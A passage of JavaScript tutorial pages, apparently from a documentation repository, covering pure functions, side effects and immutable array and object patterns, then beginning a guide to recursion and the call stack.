function is like a chef who checks the weather, changes the recipe based on mood, and rearranges your kitchen while cooking.\n\n---\n\n## Rule 1: Same Input → Same Output\n\nThis rule is also called **referential transparency**. It means you could replace a function call with its result and the program would work exactly the same. This property is fundamental to functional programming and is what enables tools like React's `useMemo` to safely cache function results — as the [React documentation](https://react.dev/reference/react/useMemo) notes, memoization relies on functions being pure.\n\n[`Math.max()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max) is a great example of a pure function:\n\n```javascript\n// ✓ PURE: Math.max always returns the same result for the same inputs\nMath.max(2, 8, 5)  // 8\nMath.max(2, 8, 5)  // 8, always 8\n\n// You could replace Math.max(2, 8, 5) with 8 anywhere in your code\n// and nothing would change. That's referential transparency.\n```\n\n### What Breaks This Rule?\n\nAnything that makes the output depend on something other than the inputs:\n\n<Tabs>\n  <Tab title=\"Random Values\">\n    ```javascript\n    // ❌ IMPURE: Output depends on randomness\n    function getRandomDiscount(price) {\n      return price * Math.random()\n    }\n\ngetRandomDiscount(100)  // 47.23...\ngetRandomDiscount(100)  // 82.91... different!\n    ```\n  </Tab>\n  <Tab title=\"Current Time\">\n    Using [`new Date()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) makes functions impure because the output depends on when you call them:\n    \n    ```javascript\n    // ❌ IMPURE: Output depends on when you call it\n    function getGreeting(name) {\n      const hour = new Date().getHours()\n      if (hour < 12) return `Good morning, ${name}`\n      return `Good afternoon, ${name}`\n    }\n\n    // Same input, different output depending on time of day\n    ```\n  </Tab>\n  <Tab title=\"External State\">\n    ```javascript\n    // ❌ IMPURE: Output depends on external variable\n    let taxRate = 0.08\n\n    function calculateTotal(price) {\n      return price + (price * taxRate)\n    }\n\n    calculateTotal(100)  // 108\n    taxRate = 0.10\n    calculateTotal(100)  // 110. Different!\n    ```\n  </Tab>\n</Tabs>\n\n### How to Fix It\n\nPass everything the function needs as arguments:\n\n```javascript\n// ✓ PURE: Tax rate is now an input, not external state\nfunction calculateTotal(price, taxRate) {\n  return price + (price * taxRate)\n}\n\ncalculateTotal(100, 0.08)  // 108\ncalculateTotal(100, 0.08)  // 108, always the same\ncalculateTotal(100, 0.10)  // 110 — different input, different output (that's fine!)\n```\n\n<Tip>\n**Quick test for Rule 1:** Can you predict the output just by looking at the inputs? If you need to know the current time, check a global variable, or run it to find out, it's probably not pure.\n</Tip>\n\n---\n\n## Rule 2: No Side Effects\n\nA **side effect** is anything a function does besides computing and returning a value. Side effects are actions that affect the world outside the function.\n\n### Common Side Effects\n\n| Side Effect | Example | Why It's a Problem |\n|-------------|---------|-------------------|\n| **Mutating input** | `array.push(item)` | Changes data the caller might still be using |\n| **Modifying external variables** | `counter++` | Creates hidden dependencies |\n| **Console output** | `console.log()` | Does something besides returning a value |\n| **DOM manipulation** | `element.innerHTML = '...'` | Changes the page state |\n| **HTTP requests** | `fetch('/api/data')` | Communicates with external systems |\n| **Writing to storage** | `localStorage.setItem()` | Persists data outside the function |\n| **Throwing exceptions** | `throw new Error()` | Breaks normal control flow (debated) |\n\n```javascript\n// ❌ IMPURE: Multiple side effects\nfunction processUser(user) {\n  user.lastLogin = new Date()        // Side effect: mutates input\n  console.log(`User ${user.name}`)   // Side effect: console output\n  userCount++                         // Side effect: modifies external variable\n  return user\n}\n\n// ✓ PURE: Returns new data, no side effects\nfunction processUser(user, loginTime) {\n  return {\n    ...user,\n    lastLogin: loginTime\n  }\n}\n```\n\n<Note>\n**Is `console.log()` really that bad?** Technically, yes. It's a side effect. But practically? It's fine for debugging. The key is understanding that it makes your function impure. Don't let `console.log` statements slip into production code that should be pure.\n</Note>\n\n---\n\n## The #1 Pure Functions Mistake: Mutations\n\nThe most common way developers accidentally create impure functions is by **mutating objects or arrays** that were passed in.\n\n```javascript\n// ❌ IMPURE: Mutates the input array\nfunction addItem(cart, item) {\n  cart.push(item)  // This changes the original cart!\n  return cart\n}\n\nconst myCart = ['apple', 'banana']\nconst newCart = addItem(myCart, 'orange')\n\nconsole.log(myCart)   // ['apple', 'banana', 'orange'] — Original changed!\nconsole.log(newCart)  // ['apple', 'banana', 'orange']\nconsole.log(myCart === newCart)  // true — They're the same array!\n```\n\nThis creates bugs because any other code using `myCart` now sees unexpected changes. The fix is simple: return a **new** array instead of modifying the original.\n\n```javascript\n// ✓ PURE: Returns a new array, original unchanged\nfunction addItem(cart, item) {\n  return [...cart, item]  // Spread into new array\n}\n\nconst myCart = ['apple', 'banana']\nconst newCart = addItem(myCart, 'orange')\n\nconsole.log(myCart)   // ['apple', 'banana'] — Original unchanged!\nconsole.log(newCart)  // ['apple', 'banana', 'orange']\nconsole.log(myCart === newCart)  // false — Different arrays\n```\n\n### Shallow Copy Trap\n\nWatch out: the [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax) only creates a **shallow copy**. Nested objects are still shared:\n\n```javascript\n// ⚠️ DANGER: Shallow copy with nested objects\nconst user = {\n  name: 'Alice',\n  address: { city: 'NYC', zip: '10001' }\n}\n\nconst updatedUser = { ...user, name: 'Bob' }\n\n// Top level is a new object...\nconsole.log(user === updatedUser)  // false ✓\n\n// But nested object is SHARED\nupdatedUser.address.city = 'LA'\nconsole.log(user.address.city)  // 'LA'. Original changed!\n```\n\nFor nested objects, use [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone) for a deep copy:\n\n```javascript\n// ✓ SAFE: Deep clone for nested objects\nconst user = {\n  name: 'Alice',\n  address: { city: 'NYC', zip: '10001' }\n}\n\nconst updatedUser = {\n  ...structuredClone(user),\n  name: 'Bob'\n}\n\nupdatedUser.address.city = 'LA'\nconsole.log(user.address.city)  // 'NYC' — Original safe!\n```\n\n<Note>\n**Limitation:** `structuredClone()` cannot clone functions or DOM nodes. It will throw a `DataCloneError` for these types.\n</Note>\n\n<Warning>\n**The Trap:** Spread operator (`...`) only copies one level deep. If you have nested objects or arrays, mutations to the nested data will affect the original. Use `structuredClone()` for deep copies, or see our [Primitives vs Objects](/concepts/primitives-objects) guide for more patterns.\n</Warning>\n\n---\n\n## Immutable Patterns for Pure Functions\n\nHere are the most common patterns for writing pure functions that handle objects and arrays:\n\n### Updating Objects\n\n```javascript\n// ❌ IMPURE: Mutates the object\nfunction updateEmail(user, email) {\n  user.email = email\n  return user\n}\n\n// ✓ PURE: Returns new object with updated property\nfunction updateEmail(user, email) {\n  return { ...user, email }\n}\n```\n\n### Adding to Arrays\n\n```javascript\n// ❌ IMPURE: Mutates the array\nfunction addTodo(todos, newTodo) {\n  todos.push(newTodo)\n  return todos\n}\n\n// ✓ PURE: Returns new array with item added\nfunction addTodo(todos, newTodo) {\n  return [...todos, newTodo]\n}\n```\n\n### Removing from Arrays\n\n```javascript\n// ❌ IMPURE: Mutates the array\nfunction removeTodo(todos, index) {\n  todos.splice(index, 1)\n  return todos\n}\n\n// ✓ PURE: Returns new array without the item\nfunction removeTodo(todos, index) {\n  return todos.filter((_, i) => i !== index)\n}\n```\n\n### Updating Array Items\n\n```javascript\n// ❌ IMPURE: Mutates item in array\nfunction completeTodo(todos, index) {\n  todos[index].completed = true\n  return todos\n}\n\n// ✓ PURE: Returns new array with updated item\nfunction completeTodo(todos, index) {\n  return todos.map((todo, i) => \n    i === index ? { ...todo, completed: true } : todo\n  )\n}\n```\n\n### Sorting Arrays\n\n```javascript\n// ❌ IMPURE: sort() mutates the original array!\nfunction getSorted(numbers) {\n  return numbers.sort((a, b) => a - b)\n}\n\n// ✓ PURE: Copy first, then sort\nfunction getSorted(numbers) {\n  return [...numbers].sort((a, b) => a - b)\n}\n\n// ✓ PURE (ES2023+): Use toSorted() which returns a new array\nfunction getSorted(numbers) {\n  return numbers.toSorted((a, b) => a - b)\n}\n```\n\n<Tip>\n**ES2023 added non-mutating versions** of several array methods: `toSorted()`, `toReversed()`, `toSpliced()`, and `with()`. These are perfect for pure functions. Check browser support before using in production.\n</Tip>\n\n---\n\n## Why Pure Functions Matter\n\nWriting pure functions isn't just about following rules. It brings real, practical benefits:\n\n<AccordionGroup>\n  <Accordion title=\"1. Easier to Test\">\n    Pure functions are a testing dream. No mocking, no setup, no cleanup. Just call the function and check the result.\n    \n    ```javascript\n    // Testing a pure function is trivial\n    function add(a, b) {\n      return a + b\n    }\n\n    // Test\n    expect(add(2, 3)).toBe(5)\n    expect(add(-1, 1)).toBe(0)\n    expect(add(0, 0)).toBe(0)\n    // Done! No mocks, no setup, no teardown\n    ```\n    \n    Compare this to testing a function that reads from the DOM, makes API calls, or depends on global state. You'd need elaborate setup just to run one test.\n  </Accordion>\n  \n  <Accordion title=\"2. Easier to Debug\">\n    When something goes wrong, pure functions narrow down the problem fast. If a pure function returns the wrong value, the bug is in *that function*. It can't be caused by some other code changing global state.\n    \n    ```javascript\n    // If calculateTax(100, 0.08) returns the wrong value,\n    // the bug MUST be inside calculateTax.\n    // No need to check what other code ran before it.\n    function calculateTax(amount, rate) {\n      return amount * rate\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Safe to Cache (Memoization)\">\n    Since pure functions always return the same output for the same input, you can safely cache their results. This is called memoization.\n    \n    ```javascript\n    // Expensive calculation - safe to cache because it's pure\n    function fibonacci(n) {\n      if (n <= 1) return n\n      return fibonacci(n - 1) + fibonacci(n - 2)\n    }\n\n    // With memoization, fibonacci(40) computes once, then returns cached result\n    ```\n    \n    You can't safely cache impure functions because they might need to return different values even with the same inputs.\n  </Accordion>\n  \n  <Accordion title=\"4. Safe to Parallelize\">\n    Pure functions don't depend on shared state, so they can safely run in parallel. This is how libraries like TensorFlow process massive datasets across multiple CPU cores or GPU threads.\n    \n    ```javascript\n    // These can all run at the same time - no conflicts!\n    const results = await Promise.all([\n      processChunk(data.slice(0, 1000)),\n      processChunk(data.slice(1000, 2000)),\n      processChunk(data.slice(2000, 3000))\n    ])\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Easier to Understand\">\n    When you see a pure function, you know everything it can do is right there in the code. No hidden dependencies, no spooky action at a distance.\n    \n    ```javascript\n    // You can understand this function completely by reading it\n    function formatPrice(cents, currency = 'USD') {\n      const dollars = cents / 100\n      return new Intl.NumberFormat('en-US', {\n        style: 'currency',\n        currency\n      }).format(dollars)\n    }\n    ```\n    \n    This function uses [`Intl.NumberFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat) but remains pure because the same inputs always produce the same formatted output.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## When Pure Functions Aren't Possible\n\nLet's be realistic: you can't build useful applications with *only* pure functions. At some point you need to:\n\n- Read from and write to the DOM\n- Make HTTP requests\n- Log errors\n- Save to localStorage\n- Respond to user events\n\nThe strategy is to **push impure code to the edges** of your application. Keep the core logic pure, and isolate the impure parts.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      STRUCTURE OF A WELL-DESIGNED APP                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  EDGES (Impure)              CORE (Pure)              EDGES (Impure)     │\n│  ──────────────              ──────────              ──────────────      │\n│                                                                          │\n│  ┌──────────────┐         ┌──────────────┐         ┌──────────────┐      │\n│  │ Read from    │         │ Transform    │         │ Write to     │      │\n│  │ DOM, API,    │ ──────► │ Calculate    │ ──────► │ DOM, API,    │      │\n│  │ user input   │         │ Process      │         │ console      │      │\n│  └──────────────┘         └──────────────┘         └──────────────┘      │\n│                                                                          │\n│     INPUT                    LOGIC                    OUTPUT             │\n│   (impure)                  (pure)                  (impure)             │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Example: Separating Pure from Impure\n\n```javascript\n// IMPURE: Reads from DOM\nfunction getUserInput() {\n  return document.querySelector('#username').value\n}\n\n// PURE: Transforms data (no DOM access)\nfunction formatUsername(name) {\n  return name.trim().toLowerCase()\n}\n\n// PURE: Validates data (no side effects)\nfunction isValidUsername(name) {\n  return name.length >= 3 && name.length <= 20\n}\n\n// IMPURE: Writes to DOM\nfunction displayError(message) {\n  document.querySelector('#error').textContent = message\n}\n\n// Orchestration: impure code at the edges\nfunction handleSubmit() {\n  const raw = getUserInput()           // Impure: read\n  const formatted = formatUsername(raw) // Pure: transform\n  const isValid = isValidUsername(formatted) // Pure: validate\n  \n  if (!isValid) {\n    displayError('Username must be 3-20 characters') // Impure: write\n  }\n}\n```\n\nThe pure functions (`formatUsername`, `isValidUsername`) are easy to test and reuse. The impure functions are isolated at the edges where they're easy to find and manage.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about pure functions:**\n\n1. **Two rules define purity**: same input → same output, and no side effects\n\n2. **Side effects** include mutations, console.log, DOM access, HTTP requests, randomness, and current time\n\n3. **Mutations are the #1 trap**. Use spread operator or `structuredClone()` to return new data instead\n\n4. **Shallow copies aren't enough** for nested objects. The spread operator only copies one level deep\n\n5. **Pure functions are easier to test**. No mocking, no setup. Just input and expected output\n\n6. **Pure functions are easier to debug**. If the output is wrong, the bug is in that function\n\n7. **Pure functions can be cached**. Same input always means same output, so memoization is safe\n\n8. **You can't avoid impurity entirely**. The goal is to isolate it at the edges of your application\n\n9. **console.log is technically impure** but acceptable for debugging. Just don't let it slip into logic that should be pure\n\n10. **ES2023 added `toSorted()`, `toReversed()`** and other non-mutating array methods. Use them when you can!\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What two rules define a pure function?\">\n    **Answer:**\n    \n    A pure function must follow both rules:\n    \n    1. **Same input → Same output**: Given the same arguments, it always returns the same result (referential transparency)\n    2. **No side effects**: It doesn't modify anything outside itself (no mutations, no I/O, no external state changes)\n    \n    ```javascript\n    // Pure: follows both rules\n    function multiply(a, b) {\n      return a * b\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Is this function pure? Why or why not?\">\n    ```javascript\n    function greet(name) {\n      return `Hello, ${name}! The time is ${new Date().toLocaleTimeString()}`\n    }\n    ```\n    \n    **Answer:**\n    \n    No, this function is **impure**. It breaks Rule 1 (same input → same output) because it uses `new Date()`. Calling `greet('Alice')` at 10:00 AM gives a different result than calling it at 3:00 PM, even though the input is the same.\n    \n    To make it pure, pass the time as a parameter:\n    \n    ```javascript\n    function greet(name, time) {\n      return `Hello, ${name}! The time is ${time}`\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's wrong with this function?\">\n    ```javascript\n    function addToCart(cart, item) {\n      cart.push(item)\n      return cart\n    }\n    ```\n    \n    **Answer:**\n    \n    This function **mutates its input**. The `push()` method modifies the original `cart` array, which is a side effect. Any other code using that cart array will see unexpected changes.\n    \n    Fix it by returning a new array:\n    \n    ```javascript\n    function addToCart(cart, item) {\n      return [...cart, item]\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How do you safely update a nested object in a pure function?\">\n    **Answer:**\n    \n    Use `structuredClone()` for a deep copy, or carefully spread at each level:\n    \n    ```javascript\n    // Option 1: structuredClone (simplest)\n    function updateCity(user, newCity) {\n      const copy = structuredClone(user)\n      copy.address.city = newCity\n      return copy\n    }\n\n    // Option 2: Spread at each level\n    function updateCity(user, newCity) {\n      return {\n        ...user,\n        address: {\n          ...user.address,\n          city: newCity\n        }\n      }\n    }\n    ```\n    \n    Note: A simple `{ ...user }` shallow copy would still share the nested `address` object with the original.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why are pure functions easier to test?\">\n    **Answer:**\n    \n    Pure functions only depend on their inputs and only produce their return value. This means:\n    \n    - **No setup needed**: You don't need to configure global state, mock APIs, or set up DOM elements\n    - **No cleanup needed**: The function doesn't change anything, so there's nothing to reset\n    - **Predictable**: Same input always gives same output, so tests are deterministic\n    - **Isolated**: If a test fails, the bug must be in that function\n    \n    ```javascript\n    // Testing a pure function - simple and straightforward\n    expect(add(2, 3)).toBe(5)\n    expect(formatName('  ALICE  ')).toBe('alice')\n    expect(isValidEmail('test@example.com')).toBe(true)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: When is it okay to have impure functions?\">\n    **Answer:**\n    \n    Impure functions are necessary for any real application. You need them to:\n    \n    - Read user input from the DOM\n    - Make HTTP requests to APIs\n    - Write output to the screen\n    - Save data to localStorage or databases\n    - Log errors and debugging info\n    \n    The strategy is to **isolate impurity at the edges** of your application. Keep your core business logic in pure functions, and use impure functions only for I/O operations. This gives you the best of both worlds: testable, predictable logic with the ability to interact with the outside world.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a pure function in JavaScript?\">\n    A pure function always returns the same output for the same input and produces no side effects — it doesn't modify external variables, the DOM, or any state outside itself. As [MDN's glossary](https://developer.mozilla.org/en-US/docs/Glossary/Function) explains, JavaScript functions are objects that can encapsulate logic, and pure functions use that encapsulation to guarantee predictability.\n  </Accordion>\n\n  <Accordion title=\"What are side effects in JavaScript?\">\n    Side effects are any observable changes a function makes beyond returning a value. Common side effects include modifying global variables, writing to the DOM, making HTTP requests, logging to the console, and writing to local storage. Pure functions avoid all of these.\n  </Accordion>\n\n  <Accordion title=\"Why are pure functions easier to test?\">\n    Pure functions need no mocking, no setup, and no teardown. You pass inputs and assert outputs — that's it. According to the Stack Overflow 2023 Developer Survey, testing difficulty is one of the top challenges developers face, and pure functions directly reduce that complexity.\n  </Accordion>\n\n  <Accordion title=\"Is console.log a side effect?\">\n    Yes. `console.log()` writes to an external output stream (the browser console or terminal), which is an observable effect beyond returning a value. A function that calls `console.log()` is technically impure, even though it's harmless in practice. In production code, logging is an acceptable impurity kept at the edges of your application.\n  </Accordion>\n\n  <Accordion title=\"What is referential transparency?\">\n    Referential transparency means you can replace a function call with its return value without changing the program's behavior. For example, if `add(2, 3)` always returns `5`, you can substitute `5` anywhere `add(2, 3)` appears. This property makes code easier to reason about and enables compiler optimizations.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitives vs Objects\" icon=\"diagram-project\" href=\"/concepts/primitives-objects\">\n    Understanding mutations, shallow vs deep copies, and why objects behave differently than primitives\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"arrows-repeat\" href=\"/concepts/higher-order-functions\">\n    Functions that take or return functions, perfect for composing pure functions\n  </Card>\n  <Card title=\"map, reduce & filter\" icon=\"filter\" href=\"/concepts/map-reduce-filter\">\n    Non-mutating array methods that return new arrays, ideal for pure functions\n  </Card>\n  <Card title=\"Currying & Composition\" icon=\"wand-magic-sparkles\" href=\"/concepts/currying-composition\">\n    Advanced patterns for building complex pure functions from simple ones\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Array Methods — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array\">\n    Complete reference for all array methods, including which ones mutate\n  </Card>\n  <Card title=\"Spread Syntax — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax\">\n    How to use the spread operator for shallow copies of arrays and objects\n  </Card>\n  <Card title=\"structuredClone() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/structuredClone\">\n    Modern API for deep cloning objects, including nested structures\n  </Card>\n  <Card title=\"Object.freeze() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze\">\n    How to make objects immutable (though only shallowly)\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"What Is a Pure Function in JavaScript?\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/what-is-a-pure-function-in-javascript-acb887375dfe/\">\n    Yazeed Bzadough's checklist approach with clear examples. Perfect starting point for understanding the two rules of pure functions and common side effects.\n  </Card>\n  <Card title=\"Master the JavaScript Interview: What is a Pure Function?\" icon=\"newspaper\" href=\"https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976\">\n    Eric Elliott's deep dive into referential transparency and shared state. Includes real-world examples of race conditions caused by impure functions.\n  </Card>\n  <Card title=\"Making your JavaScript Pure\" icon=\"newspaper\" href=\"https://alistapart.com/article/making-your-javascript-pure/\">\n    Jack Franklin's practical guide focusing on testability. Excellent \"before and after\" refactoring examples that show how to transform impure code.\n  </Card>\n  <Card title=\"How to Deal with Dirty Side Effects in Pure Functional JavaScript\" icon=\"newspaper\" href=\"https://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript/\">\n    James Sinclair's advanced guide to dependency injection and the Effect pattern. For when you're ready to take functional programming to the next level.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Refactoring Into Pure Functions — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cUrEedgvJSk\">\n    Mattias Petter Johansson demonstrates refactoring JavaScript code into tiny, pure, composable functions. Part of his excellent functional programming series that makes complex topics approachable.\n  </Card>\n  <Card title=\"Pure vs Impure Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=AHbRVJzpB54\">\n    Theodore Anderson's clear comparison of pure and impure functions with practical JavaScript examples and visual explanations.\n  </Card>\n  <Card title=\"JavaScript Pure Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=frT3H-eBmPc\">\n    Seth Alexander's focused tutorial covering the fundamentals of pure functions and their benefits for writing maintainable code.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/recursion.mdx",
    "content": "---\ntitle: \"Recursion\"\nsidebarTitle: \"Recursion: Functions That Call Themselves\"\ndescription: \"Learn recursion in JavaScript. Understand base cases, recursive calls, the call stack, and patterns like factorial, tree traversal, and memoization.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functional Programming\"\n\"article:tag\": \"recursion, recursive functions, base case, call stack, tree traversal, memoization\"\n---\n\nHow do you solve a problem by breaking it into smaller versions of the same problem? What if a function could call itself to chip away at a task until it's done?\n\n```javascript\nfunction countdown(n) {\n  if (n === 0) {\n    console.log(\"Done!\")\n    return\n  }\n  console.log(n)\n  countdown(n - 1)  // The function calls itself!\n}\n\ncountdown(3)\n// 3\n// 2\n// 1\n// Done!\n```\n\nThis is **[recursion](https://developer.mozilla.org/en-US/docs/Glossary/Recursion)**. The `countdown` function calls itself with a smaller number each time until it reaches zero. It's a powerful technique that lets you solve complex problems by breaking them into simpler, self-similar pieces.\n\n<Info>\n**What you'll learn in this guide:**\n- What recursion is and its two essential parts (base case and recursive case)\n- How recursion relates to the call stack\n- Classic recursive algorithms: factorial, Fibonacci, sum\n- Practical applications: traversing trees, nested objects, linked lists\n- Recursion vs iteration: when to use each\n- Common mistakes and how to avoid stack overflow\n- Optimization techniques: memoization and tail recursion\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [JavaScript functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions). It also helps to know how the [call stack](/concepts/call-stack) works, though we'll cover that relationship here.\n</Warning>\n\n---\n\n## What is Recursion?\n\n**[Recursion](https://developer.mozilla.org/en-US/docs/Glossary/Recursion)** is a programming technique where a function calls itself to solve a problem. Instead of using loops, the function breaks a problem into smaller versions of the same problem until it reaches a case simple enough to solve directly. The [ECMAScript specification](https://tc39.es/ecma262/#sec-function-definitions) allows functions to reference themselves within their own body, which is the mechanism that makes recursion possible in JavaScript.\n\n<Note>\n**Recursion isn't unique to JavaScript.** It's a fundamental computer science concept found in virtually every programming language. The patterns you learn here apply whether you're writing Python, C++, Java, or any other language.\n</Note>\n\nEvery recursive function has two essential parts:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE TWO PARTS OF RECURSION                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   function solve(problem) {                                              │\n│                                                                          │\n│     if (problem is simple enough) {   ← BASE CASE                       │\n│       return solution directly           Stops the recursion            │\n│     }                                                                    │\n│                                                                          │\n│     return solve(smaller problem)     ← RECURSIVE CASE                  │\n│   }                                      Calls itself with simpler input│\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n1. **Base Case**: The condition that stops the recursion. Without it, the function would call itself forever.\n\n2. **Recursive Case**: The part where the function calls itself with a simpler or smaller version of the problem.\n\nHere's a simple example that sums numbers from 1 to `n`:\n\n```javascript\nfunction sumTo(n) {\n  // Base case: when n is 1 or less, return n\n  if (n <= 1) {\n    return n\n  }\n  \n  // Recursive case: n plus the sum of everything below it\n  return n + sumTo(n - 1)\n}\n\nconsole.log(sumTo(5))  // 15 (5 + 4 + 3 + 2 + 1)\nconsole.log(sumTo(1))  // 1\nconsole.log(sumTo(0))  // 0\n```\n\nThe function asks: \"What's the sum from 1 to 5?\" It answers: \"5 plus the sum from 1 to 4.\" Then it asks the same question with 4, then 3, then 2, until it reaches 1, which it knows is just 1.\n\n---\n\n## The Russian Dolls Analogy\n\nThink of recursion like opening a set of Russian nesting dolls (matryoshka). Each doll contains a smaller version of itself, and you keep opening them until you reach the smallest one that can't be opened.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE RUSSIAN DOLLS ANALOGY                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Opening the dolls (making recursive calls):                            │\n│                                                                          │\n│   ╔═══════════════════════════════╗                                      │\n│   ║                               ║                                      │\n│   ║   ╔═══════════════════════╗   ║                                      │\n│   ║   ║                       ║   ║                                      │\n│   ║   ║   ╔═══════════════╗   ║   ║                                      │\n│   ║   ║   ║               ║   ║   ║                                      │\n│   ║   ║   ║   ╔═══════╗   ║   ║   ║                                      │\n│   ║   ║   ║   ║   ◆   ║   ║   ║   ║  ← Smallest doll (BASE CASE)        │\n│   ║   ║   ║   ╚═══════╝   ║   ║   ║    Can't open further               │\n│   ║   ║   ║               ║   ║   ║                                      │\n│   ║   ║   ╚═══════════════╝   ║   ║                                      │\n│   ║   ║                       ║   ║                                      │\n│   ║   ╚═══════════════════════╝   ║                                      │\n│   ║                               ║                                      │\n│   ╚═══════════════════════════════╝                                      │\n│                                                                          │\n│   Each doll = a function call                                            │\n│   Opening a doll = making a recursive call                               │\n│   Smallest doll = base case (stop recursing)                             │\n│   Closing dolls back up = returning values back up the chain            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nWhen you find the smallest doll, you start closing them back up. In recursion, once you hit the base case, the return values bubble back up through each function call until you get your final answer.\n\n---\n\n## How Recursion Works Under the Hood\n\nTo understand recursion, you need to understand how the [call stack](/concepts/call-stack) works. Every time a function is called, JavaScript creates an **[execution context](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)** and pushes it onto the call stack. When the function returns, its context is popped off. According to [MDN's documentation on call stacks](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack), most browsers have a stack size limit — typically around 10,000–25,000 frames — exceeding it throws a `RangeError: Maximum call stack size exceeded`.\n\nWith recursion, multiple execution contexts for the *same function* stack up:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE CALL STACK DURING RECURSION                       │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   sumTo(3) calls sumTo(2) calls sumTo(1)                                 │\n│                                                                          │\n│   STACK GROWING:                        STACK SHRINKING:                 │\n│   ───────────────                       ─────────────────                │\n│                                                                          │\n│   ┌───────────────┐                     ┌───────────────┐                │\n│   │  sumTo(1)     │  ← current          │               │  (popped)     │\n│   │  returns 1    │                     └───────────────┘                │\n│   ├───────────────┤                     ┌───────────────┐                │\n│   │  sumTo(2)     │                     │  sumTo(2)     │  ← current    │\n│   │  waiting...   │                     │  returns 2+1=3│                │\n│   ├───────────────┤                     ├───────────────┤                │\n│   │  sumTo(3)     │                     │  sumTo(3)     │                │\n│   │  waiting...   │                     │  waiting...   │                │\n│   └───────────────┘                     └───────────────┘                │\n│                                                                          │\n│   Each call waits for the one above it to return                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nLet's trace through `sumTo(3)` step by step:\n\n<Steps>\n  <Step title=\"sumTo(3) is called\">\n    `n` is 3, not 1, so we need to calculate `3 + sumTo(2)`. But we can't add yet because we don't know what `sumTo(2)` returns. This call waits.\n  </Step>\n  <Step title=\"sumTo(2) is called\">\n    `n` is 2, not 1, so we need `2 + sumTo(1)`. This call also waits.\n  </Step>\n  <Step title=\"sumTo(1) is called — base case!\">\n    `n` is 1, so we return `1` immediately. No more recursive calls.\n  </Step>\n  <Step title=\"sumTo(2) resumes\">\n    Now it knows `sumTo(1)` returned 1, so it calculates `2 + 1 = 3` and returns 3.\n  </Step>\n  <Step title=\"sumTo(3) resumes\">\n    Now it knows `sumTo(2)` returned 3, so it calculates `3 + 3 = 6` and returns 6.\n  </Step>\n</Steps>\n\n```javascript\nfunction sumTo(n) {\n  console.log(`Called sumTo(${n})`)\n  \n  if (n === 1) {\n    console.log(`  Base case! Returning 1`)\n    return 1\n  }\n  \n  const result = n + sumTo(n - 1)\n  console.log(`  sumTo(${n}) returning ${result}`)\n  return result\n}\n\nsumTo(3)\n// Called sumTo(3)\n// Called sumTo(2)\n// Called sumTo(1)\n//   Base case! Returning 1\n//   sumTo(2) returning 3\n//   sumTo(3) returning 6\n```\n\n<Tip>\n**Key insight:** Each recursive call creates its own copy of the function's local variables. The `n` in `sumTo(3)` is separate from the `n` in `sumTo(2)`. They don't interfere with each other.\n</Tip>\n\n---\n\n## Classic Recursive Patterns\n\nHere are the most common recursive algorithms you'll encounter. Understanding these patterns will help you recognize when recursion is the right 